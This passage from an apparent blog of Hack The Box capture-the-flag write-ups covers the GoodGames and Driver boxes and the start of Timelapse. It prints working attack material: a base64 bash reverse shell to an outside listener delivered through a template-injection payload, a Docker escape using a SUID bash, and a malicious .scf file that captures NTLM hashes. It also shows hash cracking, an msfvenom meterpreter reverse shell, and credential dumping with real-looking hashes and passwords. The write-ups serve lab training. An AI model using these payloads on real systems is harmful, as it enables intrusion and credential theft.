Rejected.........: 0/3476480 (0.00%)
Restore.Point....: 3475456/14344385 (24.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: supercecy01 -> super713!
Hardware.Mon.#1..: Util: 26%

Started: Mon Mar 20 04:31:41 2023
Stopped: Mon Mar 20 04:31:54 2023

Return To Enumeration

With every step forward in a hack or penetration test, we should cycle back to the enumeration phase. The higher level of access with grant us a high level of information. The further you climb up the mountain, the more of the surrounding area you will see. It will give us a better understanding of how everything works. Clicking on the cog in the top right-hand corner of the website gives us an error but we have found a new subdomain.

internal-administration.goodgames.htb Subdomain

Adding that to our host file allows us to visit the newly discovered subdomain and we are presented with a Flask application. We can try the credentials that we found earlier and see if the administrator is reusing credentials.

Flask Application

Ha! I honestly didn’t expect that to work. Using the username ‘admin’ and the password ‘superadministrator’, I was able to log in to the Flask application. Also, for those new to hacking and penetration testing, password reuse and simple passwords are a LOT more common than you think. If you ever do a build review or a password audit, you will see what I mean.

GoodGames Server Side Template Injection

Server Side Template Injection or SSTI is my favourite vulnerability at the moment. It’s all I seem to find on these boxes but I admit it has given me a good understanding. I now know where I’m likely to find it, how to find it and what to do with it. Interestingly, the server crashes when trying to calculate big numbers. I wanted to make my username 1337. Alas, I will have to settle for Bob. Personally, I believe that ‘{{ 2 * 404 }}’ is the most elite of all the SSTI payloads.

Bob

It’s time to make a payload that will get us a reverse shell. As you can see, I’m creating a simple bash reverse shell and base64 encoding it. Don’t forget to start your netcat listener.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ echo -ne 'bash -i >& /dev/tcp/10.10.14.126/1337 0>&1' | base64         
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvMTMzNyAwPiYx

Then we construct our payload to submit to the username field

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvMTMzNyAwPiYx=${IFS}|base64${IFS}-d|bash')}}.read()}}

That logs us onto the system as root, surely this was too easy? we can capture the flag from the Augustus users home directory but there is no root flag. I think it’s time we go back to the enumeration phase and find out what’s going on here.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.242.108] 33846
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/backend# whoami
whoami
root
[email protected]:/backend# ls /home    
ls /home
augustus
[email protected]:/backend# cat /home/augustus/user.txt
cat /home/augustus/user.txt
0f0b1bfae3876b1d0dea0ec8054b6767

GoodGames Docker Container Escape

I will be the first to admit that my Linux and Windows host enumeration skills need improving. I used the official walkthrough for the next part as I wasn’t sure what to do. I’ve used the ‘id’ and ‘groups’ commands before to identify that I was inside a docker container. However, I think the most obvious sign is that the IP address of the host we’re in, doesn’t match the host we attacked. The IP of the containers is ‘172.19.0.2’ but the IP of the target is ‘10.129.242.108’.

What is also interesting is that we’re the second host in this subnet. It is highly likely that ‘172.19.0.1’ is the Docker host. If we could scan that host then we could find out what services are listening and try to get access to it somehow.

[email protected]:/backend# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.2  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:13:00:02  txqueuelen 0  (Ethernet)
        RX packets 2534  bytes 469527 (458.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2125  bytes 1862054 (1.7 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

We can perform a portscan on the localhost IP address to see what other ports are open. Again, this is stolen directly from the wiki but something I intend to steal and add to my notes for future use. This could come in handy when pivoting from one Linux device to another. If you change the IP address to another host in the network then you can see what other services there are to try and exploit. Anyway, as shown below, port 22 is open which wasn’t open when we ran Nmap against the target IP.

[email protected]:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
<ull" 2>/dev/null && echo "port $PORT is open"; done
port 22 is open
port 80 is open

We can now SSH to the host with the august user and the password that we’ve repeatedly used.

ssh [email protected]
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
[email protected]'s password: superadministrator
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

GoodGames Privilege Escalation

Let’s just go through what we know about the system. We got our foothold through the web application which dropped us inside a container as root. We can SSH from the container to the host but only as the Augustus user. What if, while inside the container we create a file as root and set the SUID bit and then execute it as Augustus once we SSH to the host? let’s find out, makes sense to me. First, as Augustus on the container host, copy the bash binary to your home directory. Then, exit the host back to the container and change the permissions of the binary while you’re the root user.

***Container Host as augustus VIA SSH***

[email protected]:~$ cp /bin/bash .
cp /bin/bash .
[email protected]:~$ exit

***Inside Container as root***
# cd /home/augustus
# ls
bash  user.txt
# chown root:root bash
# chmod 4755 bash 
# ls -laSh     
ls -laSh
total 1.3M
-rwsr-xr-x 1 root root 1.2M Mar 20 09:29 bash
drwxr-xr-x 2 1000 1000 4.0K Mar 20 09:29 .
drwxr-xr-x 1 root root 4.0K Nov  5  2021 ..
-rw-r--r-- 1 1000 1000 3.5K Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19  2021 .profile
-rw-r--r-- 1 1000 1000  220 Oct 19  2021 .bash_logout
-rw-r----- 1 1000 1000   33 Mar 20 07:24 user.txt
lrwxrwxrwx 1 root root    9 Nov  3  2021 .bash_history -> /dev/null

Now, we need to SSH back to the container host and execute the bash file. We can now capture the final flag and complete the box.

[email protected]:~$ ./bash -p
./bash -p
bash-5.1# whoami
whoami
root
bash-5.1# cat /root/root.txt
cat /root/root.txt
b57d369e54e7c3ee2d8d46cf77549d88

GoodGames Review

This was a fun Linux box. I enjoyed the SQL injection and the SSTI to get the foothold. I definitely wouldn’t have worked out the privilege escalation but it does make a lot of sense. I feel like I should have run LinPEAS on the container host to see if it would have recognised it was on a container and suggested escapes. With that said, there is a dockerfile on the host as soon as you get the foothold so this would have been an obvious signpost.

Note: I ran LinPeas and it identified I was in a container.

══╣ Container ╠══                                                                                                                                                                
╔══════════╣ Container related tools present
╔══════════╣ Am I Containered?                                                                                                                               
╔══════════╣ Container details                                                                                                                               
═╣ Is this a container? ........... docker                                                                                                                   
═╣ Any running containers? ........ No
╔══════════╣ Docker Container details                                                                                                                        
═╣ Am I inside Docker group ....... No                                                                                                                       
═╣ Looking and enumerating Docker Sockets
═╣ Docker version ................. Not Found                                                                                                                
═╣ Vulnerable to CVE-2019-5736 .... Not Found                                                                                                                
═╣ Vulnerable to CVE-2019-13139 ... Not Found                                                                                                                
═╣ Rootless Docker? ................ No

Hack The Box Driver Writeup

Hello world, welcome to Haxez. Today I’m going to be attempting to own the easy Windows machine Driver from Hack The Box. Admittedly, I haven’t read much about this box so I don’t know what I’m getting myself into. By the sounds of things, it’s supposed to have something to do with a printer. I believe we’re required to exploit print nightmare which I’ve never done before so this should be fun.

Driver Initial Enumeration

First, I check to see that the box is online by pinging it from my terminal. If the box responds to ping then I will start a Nmap scan. Typically I will use the ‘-sC’, ‘-sV’, ‘-A’ and ‘-p-‘ flags to scan all ports, run scripts, and obtain service versions and a very aggressive manner. As you can see from the output below, we are looking at a Windows host with port 80 for HTTP and 445 for SMB open.

┌──(kali㉿kali)-[~/Driver]
└─$ ping 10.129.95.238    
PING 10.129.95.238 (10.129.95.238) 56(84) bytes of data.
64 bytes from 10.129.95.238: icmp_seq=1 ttl=127 time=24.6 ms
--- 10.129.95.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 24.599/24.599/24.599/0.000 ms
                                                                                                                                                             
┌──(kali㉿kali)-[~/Driver]
└─$ sudo nmap -sC -sV -p- -A 10.129.95.238 -oA driver                           
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 15:01 EDT
Nmap scan report for 10.129.95.238
Host is up (0.013s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (93%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 R2 (87%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-03-18T02:03:42
|_  start_date: 2023-03-18T02:00:06
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   11.63 ms 10.10.14.1
2   12.10 ms 10.129.95.238

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.69 seconds

As SMB 445 is open I will attempt to enumerate any shares with null authentication. Unfortunately, my attempts to enumerate the host with both Crackmapexec and SMBClient both fail. Crackmapexec does give us the hostname and domain name of DRIVER though so not all is lost.

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.129.95.238 --shares -u 'haxez' -p ''
SMB         10.129.95.238   445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.129.95.238   445    DRIVER           [-] DRIVER\haxez: STATUS_LOGON_FAILURE 
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.95.238/
Password for [WORKGROUP\kali]:
session setup failed: NT_STATUS_ACCESS_DENIED

Web Application Enumeration

Upon visiting the IP address in my browser, I was presented with a basic authentication page. I tried the username admin and the password admin as anybody would and to my surprise, it was authenticated. The web application appeared to be a management portal for a printer. The only page that seems to load for me is the Firmware Updates page.

Driver Printer Web Portal

I kicked off a directory and file brute force in the background to see if it would find anything interesting. I also did it because IppSec is doing it and he has great success so I think it’s a good idea to copy whatever he does.

┌──(kali㉿kali)-[~/Driver]
└─$ gobuster dir -u http://10.129.95.238 -U admin -P admin -x php -w /usr/share/wordlists/dirb/common.txt -o driver.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.95.238
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Auth User:               admin
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/03/17 15:24:05 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 151] [--> http://10.129.95.238/images/]
/Images               (Status: 301) [Size: 151] [--> http://10.129.95.238/Images/]
/index.php            (Status: 200) [Size: 4279]
/Index.php            (Status: 200) [Size: 4279]
/index.php            (Status: 200) [Size: 4279]
Progress: 9187 / 9230 (99.53%)
===============================================================
2023/03/17 15:24:19 Finished
===============================================================

Catching Hashes

Ok, this next bit is amazing and reminds me why I love security so much. So, based on the article listed >>here<< we can create a special file. When uploaded to the printer and processed, it makes the printer reach out to our machine for a file. What’s amazing about this though is that it sends its NTLM hash with the request (probably explaining it wrong). So if we run responder when uploading the file, we can capture the NTLM hash and then gain a foothold.

First, we need to craft the file. As you can see below, I have created a file called attack.scf and added my IP address to the IconFile path.

┌──(kali㉿kali)-[~/Driver]
└─$ cat attack.scf 
[Shell]
Command=2
IconFile=\\10.10.14.126\haxez
[Taskbar]
Command=ToggleDesktop

Next, we need to set up Responder to listen on our tun0 interface. This is pretty simple, just run responder with the ‘-I’ flag and the name of the interface.

┌──(kali㉿kali)-[~/Driver]
└─$ sudo responder -I tun0

Then go and upload the file to the printer and watch it light up like a Christmas tree. I’ve included a screenshot and the tool output because of woooo colourful terminal and because I might need the hash later.

Driver Responder
┌──(kali㉿kali)-[~/Driver]
└─$ sudo responder -I tun0   
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

  NBT-NS, LLMNR & MDNS Responder 3.1.3.0
  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder
  Author: Laurent Gaffie ([email protected])
  To kill this script hit CTRL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]
[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]
[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.126]
    Responder IPv6             [dead:beef:2::107c]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']
[+] Current Session Variables:
    Responder Machine Name     [WIN-90O8CXYSD47]
    Responder Domain Name      [4H5R.LOCAL]
    Responder DCE-RPC Port     [45794]
[+] Listening for events...                                                                                                                                  
[SMB] NTLMv2-SSP Client   : 10.129.95.238
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:359b130c9e47eb6b:BD5851B33F56BC9CD76AF506A78366F3:010100000000000000468C63E658D901EF4AA899FD3936930000000002000800340048003500520001001E00570049004E002D00390030004F003800430058005900530044003400370004003400570049004E002D00390030004F00380043005800590053004400340037002E0034004800350052002E004C004F00430041004C000300140034004800350052002E004C004F00430041004C000500140034004800350052002E004C004F00430041004C000700080000468C63E658D90106000400020000000800300030000000000000000000000000200000FFBC664A5D788CDEDE83E208303BA948FFE5B58083E86BE170165EE23D6402760A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310032003600000000000000000000000000                                                      
[*] Skipping previously captured hash for DRIVER\tony

Now that we have the hash we can feed it to our pet kitty and see if it can crack it. I used the rockyou.txt wordlist and it cracked it pretty quickly. As you can see below, the password is ‘liltony’. I wonder if his girlfriend gave him that name.

┌──(kali㉿kali)-[~/Driver]
└─$ sudo hashcat -m 5600 driver.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting
TONY::DRIVER:359b130c9e47eb6b:bd5851b33f56bc9cd76af506a78366f3:010100000000000000468c63e658d901ef4aa899fd3936930000000002000800340048003500520001001e00570049004e002d00390030004f003800430058005900530044003400370004003400570049004e002d00390030004f00380043005800590053004400340037002e0034004800350052002e004c004f00430041004c000300140034004800350052002e004c004f00430041004c000500140034004800350052002e004c004f00430041004c000700080000468c63e658d90106000400020000000800300030000000000000000000000000200000ffbc664a5d788cdede83e208303ba948ffe5b58083e86be170165ee23d6402760a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e00310032003600000000000000000000000000:liltony
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TONY::DRIVER:359b130c9e47eb6b:bd5851b33f56bc9cd76af...000000
Time.Started.....: Fri Mar 17 15:51:31 2023 (0 secs)
Time.Estimated...: Fri Mar 17 15:51:31 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   516.6 kH/s (0.44ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 31744/14344385 (0.22%)
Rejected.........: 0/31744 (0.00%)
Restore.Point....: 30720/14344385 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: !!!!!! -> 225566
Hardware.Mon.#1..: Util: 25%
Started: Fri Mar 17 15:51:07 2023
Stopped: Fri Mar 17 15:51:32 2023

Driver Foothold

This is incredibly fun! if you watch IppSec videos when doing boxes, do you pause it before he runs the command so that you can run it first and see if you can remember it and if it works? just me? Anyway, we can now run Crackmapexec with credentials and enumerate shares on the host.

┌──(kali㉿kali)-[~/Driver]
└─$ crackmapexec smb 10.129.95.238 --shares -u 'tony' -p 'liltony'
SMB         10.129.95.238   445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.129.95.238   445    DRIVER           [+] DRIVER\tony:liltony 
SMB         10.129.95.238   445    DRIVER           [+] Enumerated shares
SMB         10.129.95.238   445    DRIVER           Share           Permissions     Remark
SMB         10.129.95.238   445    DRIVER           -----           -----------     ------
SMB         10.129.95.238   445    DRIVER           ADMIN$                          Remote Admin
SMB         10.129.95.238   445    DRIVER           C$                              Default share
SMB         10.129.95.238   445    DRIVER           IPC$                            Remote IPC

However, I also noticed on our Nmap scan that port 5989 was open. We can now authenticate by connecting to the host with Evil-WinRM. We can also now grab the user flag from Tony’s desktop (Thanks Tony). I’m genuinely having a blast with this box. It is a lot of fun and even though it’s retired, I would recommend you go and give it a go. Lots of fun.

┌──(kali㉿kali)-[~/Driver]
└─$ evil-winrm -i 10.129.95.238 -u 'tony' -p 'liltony'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
6d3d4dab48cc04b3fac9be5e9b8b52d7

Driver Host Enumeration

Once connected to the host with Evil-WinRM it was time to perform some enumeration. Every step we take, we have to stop and enumerate. Also, I just love seeing that pretty little pea below. How can you not find it adorable? Text output wouldn’t do you justice so you get a screenshot and tool output.

Driver WinPEAS

WinPEAS kindly tells us that the user has a PowerShell history file and that it might be worth checking out. You can see this under the line that says Found Windows Files. Then underneath that, you can see the contents of the file.

ÉÍÍÍÍÍÍÍÍÍ͹ Found Windows Files
File: C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

*Evil-WinRM* PS C:\Users\tony\Documents> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt                  
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'                                                                                                                                                                                                          
ping 1.1.1.1                                                                                                                                                                                
ping 1.1.1.1    

Privilege Escalation

While the history file doesn’t give us credentials, it does point us in the right direction. When there is a history file, the commands within it are seldom for our entertainment. It is to point us in the right direction. RICOH printers have a known local privilege escalation vulnerability due to the permissions on the drivers.

Local Privilege Escalation in many Ricoh Printer

Metasploit has a module for exploiting this vulnerability. If we create a payload using msfvenom and upload it to the host. We can then create a handler in Metasploit to catch our reverse shell.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.126 LPORT=9001 -f exe -o msf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: msf.exe

As you can see below, I am using the multi-handler to catch our 64-bit payload.

msf6 exploit(windows/winrm/winrm_script_exec) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.10.14.126
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.126     yes       The listen address (an interface may be specified)
   LPORT     9001             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf6 exploit(multi/handler) > run

Then we upload the payload via Evil-WinRM and execute it.

*Evil-WinRM* PS C:\Users\tony\Documents> upload msf.exe
Info: Uploading msf.exe to C:\Users\tony\Documents\msf.exe                                          
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\tony\Documents> ./msf.exe

And we now have a Meterpreter session on the box.

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer        : DRIVER
OS              : Windows 10 (10.0 Build 10240).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/windows
meterpreter > 

Then we background our session by typing background or using ‘ctrl z’ . Then we need to search for ‘ricoh’. You can see from the output below that we need to use option 1 which allows us to perform privilege escalation.

msf6 exploit(multi/handler) > search ricoh
Matching Modules
================
   #  Name                                        Disclosure Date  Rank    Check  Description
   -  ----                                        ---------------  ----    -----  
   0  exploit/windows/ftp/ricoh_dl_bof            2012-03-01       normal  Yes    Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow
   1  exploit/windows/local/ricoh_driver_privesc  2020-01-22       normal  Yes    Ricoh Driver Privilege Escalation
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/ricoh_driver_privesc
msf6 exploit(multi/handler) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Attempting to exploit this results in a catastrophic error as you can see from the screenshot below.

What now?

I was now intensely following along with IppSec’s video. I swear, sometimes he makes us do things even though he knows it won’t work. Just to force that education into our brains. So I went through the whole process again with a 32-bit payload and that didn’t work either. You can see the different sessions below, I won’t bore you with going through the payload generation again.

msf6 exploit(multi/handler) > sessions -i
Active sessions
===============

  Id  Name  Type                     Information           Connection
  --  ----  ----                     -----------           ----------
  1         meterpreter x86/windows  DRIVER\tony @ DRIVER  10.10.14.126:9001 -> 10.129.95.238:49435 (10.129.95.238)

  2         meterpreter x64/windows  DRIVER\tony @ DRIVER  10.10.14.126:9001 -> 10.129.95.238:49436 (10.129.95.238)

We can now migrate to this process to something interactive.

meterpreter > migrate 4244
[*] Migrating from 4636 to 4244...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 4244
meterpreter > 

Then if we run the exploit again we should now get our shell back as NT AUTHORITY which means we have successfully elevated our privledges.

msf6 exploit(windows/local/ricoh_driver_privesc) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x86/windows  DRIVER\tony @ DRIVER          10.10.14.126:9001 -> 10.129.95.238:49435 (10.129.95.238)
  2         meterpreter x86/windows  DRIVER\tony @ DRIVER          10.10.14.126:9001 -> 10.129.95.238:49436 (10.129.95.238)
  3         meterpreter x86/windows  DRIVER\tony @ DRIVER          10.10.14.126:9002 -> 10.129.95.238:49439 (10.129.95.238)
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DRIVER  10.10.14.126:9003 -> 10.129.95.238:49441 (10.129.95.238)

Then we can run hash dump just for fun and because I want those hashes.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085:::

We can try and do an LSA dump too but it doesn’t seem to have anything.

msf6 post(windows/gather/lsa_secrets) > exploit
[*] Executing module against DRIVER
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: DefaultPassword
 Decrypted Value: liltony
[+] Key: DPAPI_SYSTEM
 Decrypted Value: ,h? bh>h'jh:]Pr/
[*] Writing to loot...
[*] Data saved in: /root/.msf4/loot/20230317172207_default_10.129.95.238_registry.lsa.sec_447392.txt
[*] Post module execution completed

Finally, we can interact with our session, drop to shell and grab the root flag from the administrator desktop.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
30235f25eb35211a05186a67461e8903

Driver Review

Wow, Driver is actually an incredible box to learn on. IppSec’s video was a huge help although he held out on us until the very end. I learnt a lot from this video but I also noticed that I was able to do a lot more on my own. I used to struggle a lot with Windows machines but I think I’m starting to get a basic process down. I’m looking forward to doing more Windows boxes honestly. Getting bored of doing Linux ones even though I love Linux. Anyway, that’s all for today.

Hack The Box Timelapse Writeup

Hello world, welcome to Haxez. In this post, I’m going to be going through the Timelapse box on Hack The Box. This is a Windows box which acts as a domain controller. I’ve not read too much about it yet but I believe we have to crack a zip. Once on the box, we have to find a hidden password to elevate our privileges. I believe it has something to do with LAPS (local administrative password solution) due to the name.

Timelapse Enumeration

First, I sent a ping request to ensure that the box had come online.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ ping 10.129.243.210
PING 10.129.243.210 (10.129.243.210) 56(84) bytes of data.
64 bytes from 10.129.243.210: icmp_seq=1 ttl=127 time=12.0 ms

With the box up and responding, I started a Nmap scan to see what services were listening on the box. Services are the windows and doors of a computer. A misconfigured service could grant us access to the box much like an unlocked window or door would give us access to a house.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.243.210
[sudo] password for haxez: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 07:05 GMT
Nmap scan report for 10.129.243.210
Host is up (0.014s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-03-17 15:07:47Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2023-03-17T15:09:22+00:00; +7h59m59s from scanner time.
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49696/tcp open  msrpc             Microsoft Windows RPC
53755/tcp open  msrpc             Microsoft Windows RPC
